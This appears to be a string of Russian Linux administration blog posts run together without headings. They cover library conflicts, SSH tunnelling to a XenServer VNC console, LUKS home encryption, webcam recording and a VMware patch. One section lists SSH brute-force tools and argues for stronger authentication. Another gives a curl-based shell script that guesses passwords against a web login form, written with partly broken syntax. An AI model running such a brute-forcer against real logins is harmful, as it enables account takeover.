С трудом понял что дело в nautilus, запуская который (когда примонтирован cd) я через пару секунд получал ошибку undefined symbol g_mount_is_shadowed.

Ранее подобное наблюдалось когда после очередного апдейта “вешался” gdm и было невозможно зайти. Наконец решил разобраться.

Секрет оказался прост, я в свое время ставил некоторый софт отдельно от репозитариев (в т.ч. nessus из исходников, скайп из внешнего пакета). Коварные создатели тех пакетов прописали некоторые файлы в /usr/local/lib – в том числе так называемый glib

Соответственно в /lib у меня была новая версия glib, но некоторые приложения при старте сначала проверяли папку /usr/local/lib в которой оставались ошметки старых либов, о которых пакетный менеджер естесственно не знал. Поэтому с новыми приложениями использовались старые либы и соответственно приложения не работали.

А находится такое достаточно просто;
which nautilus
ldd /usr/bin/nautilus | grep /usr/local

после этого я перенес все либы из /usr/local в другое место (а можно было и грохнуть) и nautilus завелся, диски сами примонтировались и все заработало.

Кстати интересно, по идее это наверное типовой сценарий проблем, при установке софта из внешних источников. По идее маинтернеры дистрибутивов могли бы после установки софта, проверять что либы для нового софта используются из репозитариев а не локальные версии.. Хотя наверное это не юникс-вей, когда лишних действий не производится.. Потому что определенный смысл в том чтобы при апдейте продолжать использовать локальные либы тоже есть….

А у меня на одном таком сервере виртуализируется один хост, который по сети ни как не должен быть доступен, кроме как через консоль – для пущей секьюрности. Надо было срочно данных с него выгрузить, а никак не достучаться.
Погоревал я немного, затем зашел на XenServer по ssh, посмотрел список юзаемых портов и узрел:

Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name
tcp        0      0 127.0.0.1:5900              0.0.0.0:*                   LISTEN      5394/vncterm
tcp        0      0 127.0.0.1:5901              0.0.0.0:*                   LISTEN      21607/qemu.4
tcp        0      0 127.0.0.1:5902              0.0.0.0:*                   LISTEN      30538/qemu.14

Осталось только подключиться к этому серверу VNC который на localhost живет, и видимо он же и занимается подачей картинки в XenCenter.

Подключался используя ssh-туннель:

ssh -f -L 127.0.0.1:9999:127.0.0.1:5902 user@192.168.0.1

(не работает в последних версиях ssh, тогда можно без -f и пока вы залогинены туннель будет)
Где:
127.0.0.1:9999 – биндю локальный порт
127.0.0.1:5902 – говорю куда пробрасываем локальный порт 9999
user@192.168.0.1 – XenServer

А затем подключаюсь стандартным линуксовым vncviewer:

vncviewer 127.0.0.1:9999

Так как ноутбук вещь такая что украсть ее не так сложно как настольный ПК, озаботился я шифрованием жесткого диска, так как куча приватной информации хранится на ноутбуке – приватные ключи для доступа к корпоративной сети, служебная переписка, личная переписка и мало ли еще какой приватной информации которую очень не хотелось бы отдавать в чужие руки. Приступим.

Шаг 1.
Для начала необходимо установить ПО для обеспечения возможности шифрования:

apt-get install cryptsetup
apt-get install mdadm
apt-get install lvm2


В ядре должна быть включена поддержка LVM – в ядре из дистрибутива дело обстоит именно так.
Моя таблица разделов выглядит так:
/dev/sda1 * 1 26 204800 7 HPFS/NTFS
/dev/sda2 26 10077 80737678+ 83 Linux
/dev/sda3 10078 19457 75344850 83 Linux

/dev/sda3 – мой корневой раздел, его я шифровать небуду, ни к чему, поэтому я зашифрую /dev/sda2 и буду монтировать как /home. Т.е. шифроваться будут пользовательские данные а все остальное – нет, ноутбук все-таки, и тратить в дороге батарею понапрасну на мой взгляд излишество. Да и за производительность тоже хочется побороться – все таки шифрование хоть и незначительно но снижает скорость записи/чтения на жесткий диск.

Шаг 2.
Зашифруем намеченое, файловую систему (ФС):
cryptsetup luksFormat /dev/sda2
И команда выполнится с ошибкой. Не знаю почему, но в Debian по-умолчанию нет команды /sbin/udevsettle.
Поэтому делаем симлинк и выполняем команду:
ln -s /sbin/udevadm /sbin/udevsettle
cryptsetup luksFormat /dev/sda2

Are you sure? (Type uppercase yes):


Система прости набрать в верхнем регистре слово YES. Набираем и создаем.
Далее, проверим, как и что создалось.

cryptsetup luksDump /dev/sda2
LUKS header information for /dev/sda2

Version: 1
Cipher name: aes
Cipher mode: cbc-essiv:sha256
Hash spec: sha1
Payload offset: 1032
MK bits: 128
MK digest: 10 77 b5 0a 9a 92 d2 e1 73 5f c8 49 ad e0 f9 4c 8d d5 38 8a
MK salt: 08 9b 01 2e 0a f3 f0 12 22 69 3e 0b 0e cd 8f 58
aa a2 ce bf 5a c8 bb b1 97 e2 fc 2f da d6 93 bb
MK iterations: 10
UUID: 776317fc-a9b9-454e-8d8f-f9e168e0ad9a


Копируем куда-либо UUID: 776317fc-a9b9-454e-8d8f-f9e168e0ad9a, он нам еще пригодится.

Подключаем зашифрованый раздел и создаем на нем ФС:
cryptsetup luksOpen /dev/sda2 luks
Enter LUKS passphrase:
key slot 0 unlocked.
Command successful.

Там где появляется запрос “Enter LUKS passphrase:” вводим пароль который воодили при создании зашифрованого раздела.
Создаем ФС:

mke2fs -j /dev/mapper/luks

Правим конфигурационные файлы, для того что бы при загрузке системы зашифрованый раздел подключался автоматически и спрашивал пароль.
nano /etc/crypttab
Добавляем строчку типа:
luks /dev/disk/by-uuid/776317fc-a9b9-454e-8d8f-f9e168e0ad9a none luks
где 776317fc-a9b9-454e-8d8f-f9e168e0ad9a - ваш UUID, который я рекомендовал запомнить чуть выше по тексту.

nano /etc/fstab
Добавляем строчку
/dev/mapper/luks /home ext3 defaults 0 0
Указываем что монтируем раздел в /home

Осталось примонтировать этот раздел во временную точку, убедится что работает и можно переносить данные и перезагружаться:
/etc/init.d/cryptdisks start
mount /dev/mapper/luks /mnt

После перезагрузки система спросит пароль на этапе монтирования дисков и если введенный пароль окажется правильным то будет доступна домашняя директория.

1. SSH Brute Forcer – UNIX/Linux утилита в виде shell-скрипта
http://www.securiteam.com/tools/5QP0L2K60E.html

2. THC-Hydra – Наиболее быстрый брутфорсер который умеет брутать очень многие популярные сервисы
http://freeworld.thc.org/thc-hydra/

3. SSHatter – Перловый скрипт
http://www.madirish.net/?article=183

4. SSHBrute – Скрипт на языке Python
http://www.darkc0de.com/bruteforce/sshbrute.py

Практически, эффективность атак методом перебора не самая эффективная.
Но статистика, вещь упрямая, показывает следующее:
1) как минимум 5 процентов пользователей выбирают пароль находящийся в списке “100 самых популярных”
2)из пункт 1, следует, что если в системе есть 25 пользователей, то можно рассчитать что эффективность атаки на систему составит: 1-(1-0.05)^25 = 0.72 т.е. 72%.;
3) или, например, если в системе 60 пользователей, то эффективность – 1-(1-0.05)^60 = 0.95 т.е. 95%.

Что говорит о том, что чем больше участников системы, тем более она уязвима.

В любом случае метод авторизации по паролю морально устарел, наступает черед методам двухфакторной авторизации взять свое.
Например в SSH можно использовать авторизацию по сертификату с паролем, в WWW и Mail-системах можно использовать авторизацию по сертификату и т.д.
Конечно пока что технически это возможно далеко не везде, но если вы используете парольную авторизацию и отвечаете за систему – соблюдайте парольную политику, проводите аудит паролей пользователей (например утилитой JohnTheRipper или CAIN), создавайте правила.

Мне же потребовалось добавить жесткий диск что бы использовать данные с него в виртуальной машине:
1. Добавляем в /etc/udev/rules.d/50-udev.rules:

ACTION=="add", KERNEL=="hda", SYMLINK+="xapi/block/%k", RUN+="/bin/sh -c '/opt/xensource/libexec/local-device-change %k 2>&1 >/dev/null&'"
ACTION=="remove", KERNEL=="hda", RUN+="/bin/sh -c '/opt/xensource/libexec/local-device-change %k 2>&1 >/dev/null&'"


Немного поясню:
KERNEL==”hda” – hda это мой жесткий диск на интерфейсе IDE который я подключаю (узнать как видится ваш можно просмотрев вывод dmesg)
ACTION – действие, при подключении и отключении устройства.
xapi/block – структура каталогов в /dev в которых XenServer ищет сменные устройства.
2. Перезагружаем и входим в XenCenter, там добавляем как Removable Storage к необходимой виртуальной машине.

2. Ставим из репозитариев Mplayer и mencoder.

3.Тестируем:
mplayer tv:// -tv driver=v4l2:width=352:height=288:device=/dev/video0

4. Пишем видео:
mencoder tv:// -tv driver=v4l2:width=:height=:device=/dev/video0 -nosound -ovc lavc -o VideoFile.avi

5. Смотрим man mencoder, удивляемся количеству опций и изучаем.


#!/bin/sh /*стандартный заголовок*/
# для задания файла паролей используйте команду > sh наш_скрипт файл_паролей
if [ -z $1 ]; then
echo -e "\n\t Использование: $0 password file"
exit 1;
fi
PASSWORDS='/bin/cat $1'
USER=admin
# если требуется кука
COOKIE1="blabla=blablabla;" /*измените на то что вам необходимо*/
CMD="/usr/bin/curl \
-b $COOKIE1 \
-d user=$USER \
-c cookies.txt \ /*а сюда упадут куки после удачной авторизации*/
--url http://localhost/login.php" /*путь к файлу паролей*/
for PASS in $PASSWORDS; do
# формируем необходимые заголовки
'$CMD \
-H 'User-Agent: Mozilla/4.0' \
-H 'Host: localhost' \
-d passwd=$PASS'
# проверим не угадан ли пароль
RES='grep -v $COOKIE cookies.txt'
if [ -n '$RES' ]; then
echo -e "found $RES with $USER : $PASS\n";
exit 0;
fi
done

Как то вот так..

Успехов!

Качаем неофициальный патч: http://rootfox.com/downloads/vmware-modules-2.6.29.patch

Кладем его в /usr/lib/vmware/modules/source/

Там же распаковываем все присутствующие tar-архивы.

Применяем патч: “patch -p1 -i vmware-modules-2.6.29.patch”

Запаковываем все, что бы выглядело как было:

“tar -cf vmblock.tar vmblock-only/

tar -cf vmci.tar vmci-only/

tar -cf vmmon.tar vmmon-only/

tar -cf vmnet.tar vmnet-only/

tar -cf vsock.tar vsock-only/

tar -cf vmppuser.tar vmppuser-only/“

Дальнейшие вариации я думаю можно без труда додумать.

А еще можно исполнять удаленные X приложения  То есть приложения под иксы.

rootfox:~# ssh -X netf0x@сервер
netf0x:~$ gimp

и запустится удаленное окно GIMP под нашими иксами.